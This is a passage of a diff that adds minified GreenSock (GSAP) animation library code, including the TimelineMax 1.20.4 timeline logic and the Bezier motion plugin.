this._rawPrevTime === e ? e : r; + e = a + 1e-4 + } else if (e < 1e-7) { + this._totalTime = this._time = 0; + if (n !== 0 || this._duration === 0 && this._rawPrevTime !== r && (this._rawPrevTime > 0 || e < 0 && this._rawPrevTime >= 0)) { + m = "onReverseComplete"; + c = this._reversed + } + if (e < 0) { + this._active = false; + if (this._timeline.autoRemoveChildren && this._reversed) { + p = c = true; + m = "onReverseComplete" + } else if (this._rawPrevTime >= 0 && this._first) { + p = true + } + this._rawPrevTime = e + } else { + this._rawPrevTime = this._duration || !t || e || this._rawPrevTime === e ? e : r; + if (e === 0 && c) { + u = this._first; + while (u && u._startTime === 0) { + if (!u._duration) { + c = false + } + u = u._next + } + } + e = 0; + if (!this._initted) { + p = true + } + } + } else { + if (this._hasPause && !this._forcingPlayhead && !t) { + if (e >= n) { + u = this._first; + while (u && u._startTime <= e && !v) { + if (!u._duration) + if (u.data === "isPause" && !u.ratio && !(u._startTime === 0 && this._rawPrevTime === 0)) { + v = u + } + u = u._next + } + } else { + u = this._last; + while (u && u._startTime >= e && !v) { + if (!u._duration) + if (u.data === "isPause" && u._rawPrevTime > 0) { + v = u + } + u = u._prev + } + } + if (v) { + this._time = e = v._startTime; + this._totalTime = e + this._cycle * (this._totalDuration + this._repeatDelay) + } + } + this._totalTime = this._time = this._rawPrevTime = e + } + if ((this._time === n || !this._first) && !i && !p && !v) { + return + } else if (!this._initted) { + this._initted = true + } + if (!this._active) + if (!this._paused && this._time !== n && e > 0) { + this._active = true + } + if (n === 0) + if (this.vars.onStart) + if (this._time !== 0 || !this._duration) + if (!t) { + this._callback("onStart") + } + _ = this._time; + if (_ >= n) { + u = this._first; + while (u) { + h = u._next; + if (_ !== this._time || this._paused && !l) { + break + } else if (u._active || u._startTime <= _ && !u._paused && !u._gc) { + if (v === u) { + this.pause() + } + if (!u._reversed) { + u.render((e - u._startTime) * u._timeScale, t, i) + } else { + u.render((!u._dirty ? u._totalDuration : u.totalDuration()) - (e - u._startTime) * u._timeScale, t, i) + } + } + u = h + } + } else { + u = this._last; + while (u) { + h = u._prev; + if (_ !== this._time || this._paused && !l) { + break + } else if (u._active || u._startTime <= n && !u._paused && !u._gc) { + if (v === u) { + v = u._prev; + while (v && v.endTime() > this._time) { + v.render(v._reversed ? v.totalDuration() - (e - v._startTime) * v._timeScale : (e - v._startTime) * v._timeScale, t, i); + v = v._prev + } + v = null; + this.pause() + } + if (!u._reversed) { + u.render((e - u._startTime) * u._timeScale, t, i) + } else { + u.render((!u._dirty ? u._totalDuration : u.totalDuration()) - (e - u._startTime) * u._timeScale, t, i) + } + } + u = h + } + } + if (this._onUpdate) + if (!t) { + if (d.length) { + f() + } + this._callback("onUpdate") + } + if (m) + if (!this._gc) + if (s === this._startTime || o !== this._timeScale) + if (this._time === 0 || a >= this.totalDuration()) { + if (c) { + if (d.length) { + f() + } + if (this._timeline.autoRemoveChildren) { + this._enabled(false, false) + } + this._active = false + } + if (!t && this.vars[m]) { + this._callback(m) + } + } + }; + _._hasPausedChild = function () { + var e = this._first; + while (e) { + if (e._paused || e instanceof n && e._hasPausedChild()) { + return true + } + e = e._next + } + return false + }; + _.getChildren = function (e, t, n, r) { + r = r || -9999999999; + var a = [], + s = this._first, + o = 0; + while (s) { + if (s._startTime < r) {} else if (s instanceof i) { + if (t !== false) { + a[o++] = s + } + } else { + if (n !== false) { + a[o++] = s + } + if (e !== false) { + a = a.concat(s.getChildren(true, t, n)); + o = a.length + } + } + s = s._next + } + return a + }; + _.getTweensOf = function (e, t) { + var n = this._gc, + r = [], + a = 0, + s, o; + if (n) { + this._enabled(true, true) + } + s = i.getTweensOf(e); + o = s.length; + while (--o > -1) { + if (s[o].timeline === this || t && this._contains(s[o])) { + r[a++] = s[o] + } + } + if (n) { + this._enabled(false, true) + } + return r + }; + _.recent = function () { + return this._recent + }; + _._contains = function (e) { + var t = e.timeline; + while (t) { + if (t === this) { + return true + } + t = t.timeline + } + return false + }; + _.shiftChildren = function (e, t, i) { + i = i || 0; + var n = this._first, + r = this._labels, + a; + while (n) { + if (n._startTime >= i) { + n._startTime += e + } + n = n._next + } + if (t) { + for (a in r) { + if (r[a] >= i) { + r[a] += e + } + } + } + return this._uncache(true) + }; + _._kill = function (e, t) { + if (!e && !t) { + return this._enabled(false, false) + } + var i = !t ? this.getChildren(true, true, false) : this.getTweensOf(t), + n = i.length, + r = false; + while (--n > -1) { + if (i[n]._kill(e, t)) { + r = true + } + } + return r + }; + _.clear = function (e) { + var t = this.getChildren(false, true, true), + i = t.length; + this._time = this._totalTime = 0; + while (--i > -1) { + t[i]._enabled(false, false) + } + if (e !== false) { + this._labels = {} + } + return this._uncache(true) + }; + _.invalidate = function () { + var t = this._first; + while (t) { + t.invalidate(); + t = t._next + } + return e.prototype.invalidate.call(this) + }; + _._enabled = function (e, i) { + if (e === this._gc) { + var n = this._first; + while (n) { + n._enabled(e, true); + n = n._next + } + } + return t.prototype._enabled.call(this, e, i) + }; + _.totalTime = function (t, i, n) { + this._forcingPlayhead = true; + var r = e.prototype.totalTime.apply(this, arguments); + this._forcingPlayhead = false; + return r + }; + _.duration = function (e) { + if (!arguments.length) { + if (this._dirty) { + this.totalDuration() + } + return this._duration + } + if (this.duration() !== 0 && e !== 0) { + this.timeScale(this._duration / e) + } + return this + }; + _.totalDuration = function (e) { + if (!arguments.length) { + if (this._dirty) { + var t = 0, + i = this._last, + n = 999999999999, + r, a; + while (i) { + r = i._prev; + if (i._dirty) { + i.totalDuration() + } + if (i._startTime > n && this._sortChildren && !i._paused && !this._calculatingDuration) { + this._calculatingDuration = 1; + this.add(i, i._startTime - i._delay); + this._calculatingDuration = 0 + } else { + n = i._startTime + } + if (i._startTime < 0 && !i._paused) { + t -= i._startTime; + if (this._timeline.smoothChildTiming) { + this._startTime += i._startTime / this._timeScale; + this._time -= i._startTime; + this._totalTime -= i._startTime; + this._rawPrevTime -= i._startTime + } + this.shiftChildren(-i._startTime, false, -9999999999); + n = 0 + } + a = i._startTime + i._totalDuration / i._timeScale; + if (a > t) { + t = a + } + i = r + } + this._duration = this._totalDuration = t; + this._dirty = false + } + return this._totalDuration + } + return e && this.totalDuration() ? this.timeScale(this._totalDuration / e) : this + }; + _.paused = function (t) { + if (!t) { + var i = this._first, + n = this._time; + while (i) { + if (i._startTime === n && i.data === "isPause") { + i._rawPrevTime = 0 + } + i = i._next + } + } + return e.prototype.paused.apply(this, arguments) + }; + _.usesFrames = function () { + var t = this._timeline; + while (t._timeline) { + t = t._timeline + } + return t === e._rootFramesTimeline + }; + _.rawTime = function (e) { + return e && (this._paused || this._repeat && this.time() > 0 && this.totalProgress() < 1) ? this._totalTime % (this._duration + this._repeatDelay) : this._paused ? this._totalTime : (this._timeline.rawTime(e) - this._startTime) * this._timeScale + }; + return n + }, true); + a._gsDefine("TimelineMax", ["TimelineLite", "TweenLite", "easing.Ease"], function (e, t, i) { + var n = function (t) { + e.call(this, t); + this._repeat = this.vars.repeat || 0; + this._repeatDelay = this.vars.repeatDelay || 0; + this._cycle = 0; + this._yoyo = this.vars.yoyo === true; + this._dirty = true + }, + r = 1e-10, + s = t._internals, + o = s.lazyTweens, + l = s.lazyRender, + u = a._gsDefine.globals, + d = new i(null, null, 1, 0), + f = n.prototype = new e; + f.constructor = n; + f.kill()._gc = false; + n.version = "1.20.4"; + f.invalidate = function () { + this._yoyo = this.vars.yoyo === true; + this._repeat = this.vars.repeat || 0; + this._repeatDelay = this.vars.repeatDelay || 0; + this._uncache(true); + return e.prototype.invalidate.call(this) + }; + f.addCallback = function (e, i, n, r) { + return this.add(t.delayedCall(0, e, n, r), i) + }; + f.removeCallback = function (e, t) { + if (e) { + if (t == null) { + this._kill(null, e) + } else { + var i = this.getTweensOf(e, false), + n = i.length, + r = this._parseTimeOrLabel(t); + while (--n > -1) { + if (i[n]._startTime === r) { + i[n]._enabled(false, false) + } + } + } + } + return this + }; + f.removePause = function (t) { + return this.removeCallback(e._internals.pauseCallback, t) + }; + f.tweenTo = function (e, i) { + i = i || {}; + var n = { + ease: d, + useFrames: this.usesFrames(), + immediateRender: false, + lazy: false + }, + r = i.repeat && u.TweenMax || t, + a, s, o; + for (s in i) { + n[s] = i[s] + } + n.time = this._parseTimeOrLabel(e); + a = Math.abs(Number(n.time) - this._time) / this._timeScale || .001; + o = new r(this, a, n); + n.onStart = function () { + o.target.paused(true); + if (o.vars.time !== o.target.time() && a === o.duration() && !o.isFromTo) { + o.duration(Math.abs(o.vars.time - o.target.time()) / o.target._timeScale).render(o.time(), true, true) + } + if (i.onStart) { + i.onStart.apply(i.onStartScope || i.callbackScope || o, i.onStartParams || []) + } + }; + return o + }; + f.tweenFromTo = function (e, t, i) { + i = i || {}; + e = this._parseTimeOrLabel(e); + i.startAt = { + onComplete: this.seek, + onCompleteParams: [e], + callbackScope: this + }; + i.immediateRender = i.immediateRender !== false; + var n = this.tweenTo(t, i); + n.isFromTo = 1; + return n.duration(Math.abs(n.vars.time - e) / this._timeScale || .001) + }; + f.render = function (e, t, i) { + if (this._gc) { + this._enabled(true, false) + } + var n = this._time, + a = !this._dirty ? this._totalDuration : this.totalDuration(), + s = this._duration, + u = this._totalTime, + d = this._startTime, + f = this._timeScale, + c = this._rawPrevTime, + h = this._paused, + m = this._cycle, + p, v, _, g, y, b, w, M; + if (n !== this._time) { + e += this._time - n + } + if (e >= a - 1e-7 && e >= 0) { + if (!this._locked) { + this._totalTime = a; + this._cycle = this._repeat + } + if (!this._reversed) + if (!this._hasPausedChild()) { + v = true; + g = "onComplete"; + y = !!this._timeline.autoRemoveChildren; + if (this._duration === 0) + if (e <= 0 && e >= -1e-7 || c < 0 || c === r) + if (c !== e && this._first) { + y = true; + if (c > r) { + g = "onReverseComplete" + } + } + } + this._rawPrevTime = this._duration || !t || e || this._rawPrevTime === e ? e : r; + if (this._yoyo && (this._cycle & 1) !== 0) { + this._time = e = 0 + } else { + this._time = s; + e = s + 1e-4 + } + } else if (e < 1e-7) { + if (!this._locked) { + this._totalTime = this._cycle = 0 + } + this._time = 0; + if (n !== 0 || s === 0 && c !== r && (c > 0 || e < 0 && c >= 0) && !this._locked) { + g = "onReverseComplete"; + v = this._reversed + } + if (e < 0) { + this._active = false; + if (this._timeline.autoRemoveChildren && this._reversed) { + y = v = true; + g = "onReverseComplete" + } else if (c >= 0 && this._first) { + y = true + } + this._rawPrevTime = e + } else { + this._rawPrevTime = s || !t || e || this._rawPrevTime === e ? e : r; + if (e === 0 && v) { + p = this._first; + while (p && p._startTime === 0) { + if (!p._duration) { + v = false + } + p = p._next + } + } + e = 0; + if (!this._initted) { + y = true + } + } + } else { + if (s === 0 && c < 0) { + y = true + } + this._time = this._rawPrevTime = e; + if (!this._locked) { + this._totalTime = e; + if (this._repeat !== 0) { + b = s + this._repeatDelay; + this._cycle = this._totalTime / b >> 0; + if (this._cycle !== 0) + if (this._cycle === this._totalTime / b && u <= e) { + this._cycle-- + } + this._time = this._totalTime - this._cycle * b; + if (this._yoyo) + if ((this._cycle & 1) !== 0) { + this._time = s - this._time + } + if (this._time > s) { + this._time = s; + e = s + 1e-4 + } else if (this._time < 0) { + this._time = e = 0 + } else { + e = this._time + } + } + } + if (this._hasPause && !this._forcingPlayhead && !t) { + e = this._time; + if (e >= n || this._repeat && m !== this._cycle) { + p = this._first; + while (p && p._startTime <= e && !w) { + if (!p._duration) + if (p.data === "isPause" && !p.ratio && !(p._startTime === 0 && this._rawPrevTime === 0)) { + w = p + } + p = p._next + } + } else { + p = this._last; + while (p && p._startTime >= e && !w) { + if (!p._duration) + if (p.data === "isPause" && p._rawPrevTime > 0) { + w = p + } + p = p._prev + } + } + if (w && w._startTime < s) { + this._time = e = w._startTime; + this._totalTime = e + this._cycle * (this._totalDuration + this._repeatDelay) + } + } + } + if (this._cycle !== m) + if (!this._locked) { + var k = this._yoyo && (m & 1) !== 0, + L = k === (this._yoyo && (this._cycle & 1) !== 0), + T = this._totalTime, + x = this._cycle, + S = this._rawPrevTime, + Y = this._time; + this._totalTime = m * s; + if (this._cycle < m) { + k = !k + } else { + this._totalTime += s + } + this._time = n; + this._rawPrevTime = s === 0 ? c - 1e-4 : c; + this._cycle = m; + this._locked = true; + n = k ? 0 : s; + this.render(n, t, s === 0); + if (!t) + if (!this._gc) { + if (this.vars.onRepeat) { + this._cycle = x; + this._locked = false; + this._callback("onRepeat") + } + } + if (n !== this._time) { + return + } + if (L) { + this._cycle = m; + this._locked = true; + n = k ? s + 1e-4 : -1e-4; + this.render(n, true, false) + } + this._locked = false; + if (this._paused && !h) { + return + } + this._time = Y; + this._totalTime = T; + this._cycle = x; + this._rawPrevTime = S + } + if ((this._time === n || !this._first) && !i && !y && !w) { + if (u !== this._totalTime) + if (this._onUpdate) + if (!t) { + this._callback("onUpdate") + } + return + } else if (!this._initted) { + this._initted = true + } + if (!this._active) + if (!this._paused && this._totalTime !== u && e > 0) { + this._active = true + } + if (u === 0) + if (this.vars.onStart) + if (this._totalTime !== 0 || !this._totalDuration) + if (!t) { + this._callback("onStart") + } + M = this._time; + if (M >= n) { + p = this._first; + while (p) { + _ = p._next; + if (M !== this._time || this._paused && !h) { + break + } else if (p._active || p._startTime <= this._time && !p._paused && !p._gc) { + if (w === p) { + this.pause() + } + if (!p._reversed) { + p.render((e - p._startTime) * p._timeScale, t, i) + } else { + p.render((!p._dirty ? p._totalDuration : p.totalDuration()) - (e - p._startTime) * p._timeScale, t, i) + } + } + p = _ + } + } else { + p = this._last; + while (p) { + _ = p._prev; + if (M !== this._time || this._paused && !h) { + break + } else if (p._active || p._startTime <= n && !p._paused && !p._gc) { + if (w === p) { + w = p._prev; + while (w && w.endTime() > this._time) { + w.render(w._reversed ? w.totalDuration() - (e - w._startTime) * w._timeScale : (e - w._startTime) * w._timeScale, t, i); + w = w._prev + } + w = null; + this.pause() + } + if (!p._reversed) { + p.render((e - p._startTime) * p._timeScale, t, i) + } else { + p.render((!p._dirty ? p._totalDuration : p.totalDuration()) - (e - p._startTime) * p._timeScale, t, i) + } + } + p = _ + } + } + if (this._onUpdate) + if (!t) { + if (o.length) { + l() + } + this._callback("onUpdate") + } + if (g) + if (!this._locked) + if (!this._gc) + if (d === this._startTime || f !== this._timeScale) + if (this._time === 0 || a >= this.totalDuration()) { + if (v) { + if (o.length) { + l() + } + if (this._timeline.autoRemoveChildren) { + this._enabled(false, false) + } + this._active = false + } + if (!t && this.vars[g]) { + this._callback(g) + } + } + }; + f.getActive = function (e, t, i) { + if (e == null) { + e = true + } + if (t == null) { + t = true + } + if (i == null) { + i = false + } + var n = [], + r = this.getChildren(e, t, i), + a = 0, + s = r.length, + o, l; + for (o = 0; o < s; o++) { + l = r[o]; + if (l.isActive()) { + n[a++] = l + } + } + return n + }; + f.getLabelAfter = function (e) { + if (!e) + if (e !== 0) { + e = this._time + } + var t = this.getLabelsArray(), + i = t.length, + n; + for (n = 0; n < i; n++) { + if (t[n].time > e) { + return t[n].name + } + } + return null + }; + f.getLabelBefore = function (e) { + if (e == null) { + e = this._time + } + var t = this.getLabelsArray(), + i = t.length; + while (--i > -1) { + if (t[i].time < e) { + return t[i].name + } + } + return null + }; + f.getLabelsArray = function () { + var e = [], + t = 0, + i; + for (i in this._labels) { + e[t++] = { + time: this._labels[i], + name: i + } + } + e.sort(function (e, t) { + return e.time - t.time + }); + return e + }; + f.invalidate = function () { + this._locked = false; + return e.prototype.invalidate.call(this) + }; + f.progress = function (e, t) { + return !arguments.length ? this._time / this.duration() || 0 : this.totalTime(this.duration() * (this._yoyo && (this._cycle & 1) !== 0 ? 1 - e : e) + this._cycle * (this._duration + this._repeatDelay), t) + }; + f.totalProgress = function (e, t) { + return !arguments.length ? this._totalTime / this.totalDuration() || 0 : this.totalTime(this.totalDuration() * e, t) + }; + f.totalDuration = function (t) { + if (!arguments.length) { + if (this._dirty) { + e.prototype.totalDuration.call(this); + this._totalDuration = this._repeat === -1 ? 999999999999 : this._duration * (this._repeat + 1) + this._repeatDelay * this._repeat + } + return this._totalDuration + } + return this._repeat === -1 || !t ? this : this.timeScale(this.totalDuration() / t) + }; + f.time = function (e, t) { + if (!arguments.length) { + return this._time + } + if (this._dirty) { + this.totalDuration() + } + if (e > this._duration) { + e = this._duration + } + if (this._yoyo && (this._cycle & 1) !== 0) { + e = this._duration - e + this._cycle * (this._duration + this._repeatDelay) + } else if (this._repeat !== 0) { + e += this._cycle * (this._duration + this._repeatDelay) + } + return this.totalTime(e, t) + }; + f.repeat = function (e) { + if (!arguments.length) { + return this._repeat + } + this._repeat = e; + return this._uncache(true) + }; + f.repeatDelay = function (e) { + if (!arguments.length) { + return this._repeatDelay + } + this._repeatDelay = e; + return this._uncache(true) + }; + f.yoyo = function (e) { + if (!arguments.length) { + return this._yoyo + } + this._yoyo = e; + return this + }; + f.currentLabel = function (e) { + if (!arguments.length) { + return this.getLabelBefore(this._time + 1e-8) + } + return this.seek(e, true) + }; + return n + }, true); + (function () { + var e = 180 / Math.PI, + t = [], + i = [], + n = [], + r = {}, + s = a._gsDefine.globals, + o = function (e, t, i, n) { + if (i === n) { + i = n - (n - t) / 1e6 + } + if (e === t) { + t = e + (i - e) / 1e6 + } + this.a = e; + this.b = t; + this.c = i; + this.d = n; + this.da = n - e; + this.ca = i - e; + this.ba = t - e + }, + l = ",x,y,z,left,top,right,bottom,marginTop,marginLeft,marginRight,marginBottom,paddingLeft,paddingTop,paddingRight,paddingBottom,backgroundPosition,backgroundPosition_y,", + u = function (e, t, i, n) { + var r = { + a: e + }, + a = {}, + s = {}, + o = { + c: n + }, + l = (e + t) / 2, + u = (t + i) / 2, + d = (i + n) / 2, + f = (l + u) / 2, + c = (u + d) / 2, + h = (c - f) / 8; + r.b = l + (e - l) / 4; + a.b = f + h; + r.c = a.a = (r.b + a.b) / 2; + a.c = s.a = (f + c) / 2; + s.b = c - h; + o.b = d + (n - d) / 4; + s.c = o.a = (s.b + o.b) / 2; + return [r, a, s, o] + }, + d = function (e, r, a, s, o) { + var l = e.length - 1, + d = 0, + f = e[0].a, + c, h, m, p, v, _, g, y, b, w, M, k, L; + for (c = 0; c < l; c++) { + v = e[d]; + h = v.a; + m = v.d; + p = e[d + 1].d; + if (o) { + M = t[c]; + k = i[c]; + L = (k + M) * r * .25 / (s ? .5 : n[c] || .5); + _ = m - (m - h) * (s ? r * .5 : M !== 0 ? L / M : 0); + g = m + (p - m) * (s ? r * .5 : k !== 0 ? L / k : 0); + y = m - (_ + ((g - _) * (M * 3 / (M + k) + .5) / 4 || 0)) + } else { + _ = m - (m - h) * r * .5; + g = m + (p - m) * r * .5; + y = m - (_ + g) / 2 + } + _ += y; + g += y; + v.c = b = _; + if (c !== 0) { + v.b = f + } else { + v.b = f = v.a + (v.c - v.a) * .6 + } + v.da = m - h; + v.ca = b - h; + v.ba = f - h; + if (a) { + w = u(h, f, b, m); + e.splice(d, 1, w[0], w[1], w[2], w[3]); + d += 4 + } else { + d++ + } + f = g + } + v = e[d]; + v.b = f; + v.c = f + (v.d - f) * .4; + v.da = v.d - v.a; + v.ca = v.c - v.a; + v.ba = f - v.a; + if (a) { + w = u(v.a, f, v.c, v.d); + e.splice(d, 1, w[0], w[1], w[2], w[3]) + } + }, + f = function (e, n, r, a) { + var s = [], + l, u, d, f, c, h; + if (a) { + e = [a].concat(e); + u = e.length; + while (--u > -1) { + if (typeof (h = e[u][n]) === "string") + if (h.charAt(1) === "=") { + e[u][n] = a[n] + Number(h.charAt(0) + h.substr(2)) + } + } + } + l = e.length - 2; + if (l < 0) { + s[0] = new o(e[0][n], 0, 0, e[0][n]); + return s + } + for (u = 0; u < l; u++) { + d = e[u][n]; + f = e[u + 1][n]; + s[u] = new o(d, 0, 0, f); + if (r) { + c = e[u + 2][n]; + t[u] = (t[u] || 0) + (f - d) * (f - d); + i[u] = (i[u] || 0) + (c - f) * (c - f) + } + } + s[u] = new o(e[u][n], 0, 0, e[u + 1][n]); + return s + }, + c = function (e, a, s, o, u, c) { + var h = {}, + m = [], + p = c || e[0], + v, _, g, y, b, w, M, k; + u = typeof u === "string" ? "," + u + "," : l; + if (a == null) { + a = 1 + } + for (_ in e[0]) { + m.push(_) + } + if (e.length > 1) { + k = e[e.length - 1]; + M = true; + v = m.length; + while (--v > -1) { + _ = m[v]; + if (Math.abs(p[_] - k[_]) > .05) { + M = false; + break + } + } + if (M) { + e = e.concat(); + if (c) { + e.unshift(c) + } + e.push(e[1]); + c = e[e.length - 3] + } + } + t.length = i.length = n.length = 0; + v = m.length; + while (--v > -1) { + _ = m[v]; + r[_] = u.indexOf("," + _ + ",") !== -1; + h[_] = f(e, _, r[_], c) + } + v = t.length; + while (--v > -1) { + t[v] = Math.sqrt(t[v]); + i[v] = Math.sqrt(i[v]) + } + if (!o) { + v = m.length; + while (--v > -1) { + if (r[_]) { + g = h[m[v]]; + w = g.length - 1; + for (y = 0; y < w; y++) { + b = g[y + 1].da / i[y] + g[y].da / t[y] || 0; + n[y] = (n[y] || 0) + b * b + } + } + } + v = n.length; + while (--v > -1) { + n[v] = Math.sqrt(n[v]) + } + } + v = m.length; + y = s ? 4 : 1; + while (--v > -1) { + _ = m[v]; + g = h[_]; + d(g, a, s, o, r[_]); + if (M) { + g.splice(0, y); + g.splice(g.length - y, y) + } + } + return h + }, + h = function (e, t, i) { + t = t || "soft"; + var n = {}, + r = t === "cubic" ? 3 : 2, + a = t === "soft", + s = [], + l, u, d, f, c, h, m, p, v, _, g; + if (a && i) { + e = [i].concat(e) + } + if (e == null || e.length < r + 1) { + throw "invalid Bezier data" + } + for (v in e[0]) { + s.push(v) + } + h = s.length; + while (--h > -1) { + v = s[h]; + n[v] = c = []; + _ = 0; + p = e.length; + for (m = 0; m < p; m++) { + l = i == null ? e[m][v] : typeof (g = e[m][v]) === "string" && g.charAt(1) === "=" ? i[v] + Number(g.charAt(0) + g.substr(2)) : Number(g); + if (a) + if (m > 1) + if (m < p - 1) { + c[_++] = (l + c[_ - 2]) / 2 + } + c[_++] = l + } + p = _ - r + 1; + _ = 0; + for (m = 0; m < p; m += r) { + l = c[m]; + u = c[m + 1]; + d = c[m + 2]; + f = r === 2 ? 0 : c[m + 3]; + c[_++] = g = r === 3 ? new o(l, u, d, f) : new o(l, (2 * u + l) / 3, (2 * u + d) / 3, d) + } + c.length = _ + } + return n + }, + m = function (e, t, i) { + var n = 1 / i, + r = e.length, + a, s, o, l, u, d, f, c, h, m, p; + while (--r > -1) { + m = e[r]; + o = m.a; + l = m.d - o; + u = m.c - o; + d = m.b - o; + a = s = 0; + for (c = 1; c <= i; c++) { + f = n * c; + h = 1 - f; + a = s - (s = (f * f * l + 3 * h * (f * u + h * d)) * f); + p = r * i + c - 1; + t[p] = (t[p] || 0) + a * a + } + } + }, + p = function (e, t) { + t = t >> 0 || 6; + var i = [], + n = [], + r = 0, + a = 0, + s = t - 1, + o = [], + l = [], + u, d, f, c; + for (u in e) { + m(e[u], i, t) + } + f = i.length; + for (d = 0; d < f; d++) { + r += Math.sqrt(i[d]); + c = d % t; + l[c] = r; + if (c === s) { + a += r; + c = d / t >> 0; + o[c] = l; + n[c] = a; + r = 0; + l = [] + } + } + return { + length: a, + lengths: n, + segments: o + } + }, + v = a._gsDefine.plugin({ + propName: "bezier", + priority: -1, + version: "1.3.8", + API: 2, + global: true, + init: function (e, t, i) { + this._target = e; + if (t instanceof Array) { + t = { + values: t + } + } + this._func = {}; + this._mod = {}; + this._props = []; + this._timeRes = t.timeResolution == null ? 6 : parseInt(t.timeResolution, 10); + var n = t.values || [], + r = {}, + a = n[0], + s = t.autoRotate || i.vars.orientToBezier, + o, l, u, d, f; + this._autoRotate = s ? s instanceof Array ? s : [ + ["x", "y", "rotation", s === true ? 0 : Number(s) || 0] + ] : null; + for (o in a) { + this._props.push(o) + } + u = this._props.length; + while (--u > -1) { + o = this._props[u]; + this._overwriteProps.push(o); + l = this._func[o] = typeof e[o] === "function"; + r[o] = !l ? parseFloat(e[o]) : e[o.indexOf("set") || typeof e["get" + o.substr(3)] !== "function" ? o : "get" + o.substr(3)](); + if (!f) + if (r[o] !== n[0][o]) { + f = r + } + } + this._beziers = t.type !== "cubic" && t.type !== "quadratic" && t.type !== "soft" ? c(n, isNaN(t.curviness) ? 1 : t.curviness, false, t.type === "thruBasic", t.correlate, f) : h(n, t.type, r); + this._segCount = this._beziers[o].length; + if (this._timeRes) { + var m = p(this._beziers, this._timeRes); + this._length = m.length; + this._lengths = m.lengths; + this._segments = m.segments; + this._l1 = this._li = this._s1 = this._si = 0; + this._l2 = this._lengths[0]; + this._curSeg = this._segments[0]; + this._s2 = this._curSeg[0]; + this._prec = 1 / this._curSeg.length + } + if (s = this._autoRotate) { + this._initialRotations = []; + if (!(s[0] instanceof Array)) { + this._autoRotate = s = [s] + } + u = s.length; + while (--u > -1) { + for (d = 0; d < 3; d++) { + o = s[u][d]; + this._func[o] = typeof e[o] === "function" ? e[o.indexOf("set") || typeof e["get" + o.substr(3)] !== "function" ? o : "get" + o.substr(3)] : false + } + o = s[u][2]; + this._initialRotations[u] = (this._func[o] ? this._func[o].call(this._target) : this._target[o]) || 0; + this._overwriteProps.push(o) + } + } + this._startRatio = i.vars.runBackwards ? 1 : 0; + return true + }, + set: function (t) { + var i = this._segCount, + n = this._func, + r = this._target, + a = t !== this._startRatio, + s, o, l, u, d, f, c, h, m, p; + if (!this._timeRes) { + s = t < 0 ? 0 : t >= 1 ? i - 1 : i * t >> 0; + f = (t - s * (1 / i)) * i + } else { + m = this._lengths; + p = this._curSeg; + t *= this._length; + l = this._li; + if (t > this._l2 && l < i - 1) { + h = i - 1; + while (l < h && (this._l2 = m[++l]) <= t) {} + this._l1 = m[l - 1]; + this._li = l; + this._curSeg = p = this._segments[l]; + this._s2 = p[this._s1 = this._si = 0] + } else if (t < this._l1 && l > 0) { + while (l > 0 && (this._l1 = m[--l]) >= t) {} + if (l === 0 && t < this._l1) { + this._l1 = 0 + } else { + l++ + } + this._l2 = m[l]; + this._li = l; + this._curSeg = p = this._segments[l]; + this._s1 = p[(this._si = p.length - 1) - 1] || 0; + this._s2 = p[this._si] + } + s = l; + t -= this._l1; + l = this._si; + if (t > this._s2 && l < p.length - 1) { + h = p.length - 1; + while (l < h && (this._s2 = p[++l]) <= t) {} + this._s1 = p[l - 1]; + this._si = l + } else if (t < this._s1 && l > 0) { + while (l > 0 && (this._s1 = p[--l]) >= t) {} + if (l === 0 && t < this._s1) { + this._s1 = 0 + } else { + l++ + } + this._s2 = p[l]; + this._si = l + } + f = (l + (t - this._s1) / (this._s2 - this._s1)) * this._prec || 0 + } + o = 1 - f; + l = this._props.length; + while (--l > -1) { + u = this._props[l]; + d = this._beziers[u][s]; + c = (f * f * d.da + 3 * o * (f * d.ca + o * d.ba)) * f + d.a; + if (this._mod[u]) { + c = this._mod[u](c, r) + } + if (n[u]) { + r[u](c) + } else { + r[u] = c + } + } + if (this._autoRotate) { + var v = this._autoRotate, + _, g, y, b, w, M, k; + l = v.length; + while (--l > -1) { + u = v[l][2]; + M = v[l][3] || 0; + k = v[l][4] === true ? 1 : e; + d = this._beziers[v[l][0]]; + _ = this._beziers[v[l][1]]; + if (d && _) { + d = d[s]; + _ = _[s]; + g = d.a + (d.b - d.a) * f; + b = d.b + (d.c - d.b) * f; + g += (b - g) * f; + b += (d.c + (d.d - d.c) * f - b) * f; + y = _.a + (_.b - _.a) * f; + w = _.b + (_.c - _.b) * f; + y += (w - y) * f; + w += (_.c + (_.d - _.c) * f - w) * f; + c = a ? Math.atan2(w - y, b - g) * k + M : this._initialRotations[l]; + if (this._mod[u]) { + c = this._mod[u](c, r) + } + if (n[u]) { + r[u](c) + } else { + r[u] = c + } + } + } + } + } + }), + _ = v.prototype; + v.bezierThrough = c; + v.cubicToQuadratic = u; + v._autoCSS = true; + v.quadraticToCubic = function (e, t, i) { + return new o(e, (2 * t + e) / 3, (2 * t + i) / 3, i) + }; + v._cssRegister = function () { + var e = s.CSSPlugin; + if (!e) { + return + } + var t = e._internals, + i = t._parseToProxy, + n = t._setPluginRatio, + r = t.CSSPropTween; + t._registerComplexSpecialProp("bezier", { + parser: function (e, t, a, s, o, l) { + if (t instanceof Array) { + t = { + values: t + } + } + l = new v; + var u = t.values, + d = u.length - 1, + f = [], + c = {}, + h, m, p; + if (d < 0) { + return o + } + for (h = 0; h <= d; h++) { + p = i(e, u[h], s, o, l, d !== h); + f[h] = p.end + } + for (m in t) { + c[m] = t[m] + } + c.values = f; + o = new r(e, "bezier", 0, 0, p.pt, 2); + o.data = p; + o.plugin = l; + o.setRatio = n; + if (c.autoRotate === 0) { + c.autoRotate = true + } + if (c.autoRotate && !(c.autoRotate instanceof Array)) { + h = c.autoRotate === true ? 0 : Number(c.autoRotate); + c.autoRotate = p.end.left != null ? [ + ["left", "top", "rotation", h, false] + ] : p.end.x != null ? [ + ["x", "y", "rotation", h, false] + ] : false + } + if (c.autoRotate) { + if (!s._transform) { + s._enableTransforms(false) + } + p.autoRotate = s._target._gsTransform; + p.proxy.rotation = p.autoRotate.rotation || 0; + s._overwriteProps.push("rotation") + } + l._onInitTween(p.proxy, c, s._tween); + return o + } + }) + }; + _._mod = function (e) { + var t = this._overwriteProps, + i = t.length, + n; + while (--i > -1) { + n = e[t[i]]; + if (n && typeof n === "function") { + this._mod[t[i]] = n + } + } + }; + _._kill = function (e) { + var t = this._props, + i, n; + for (i in this._beziers) { + if (i in e) { + delete this._beziers[i]; + delete this._func[i]; + n = t.length; + while (--n > -1) { + if (t[n] === i) { + t.splice(n, 1) + } + } + } + } + t = this._autoRotate; + if (t) { + n = t.length; + while (--n > -1) { + if (e[t[n][2]]) { + t.splice(n, 1) + } + } + } + return 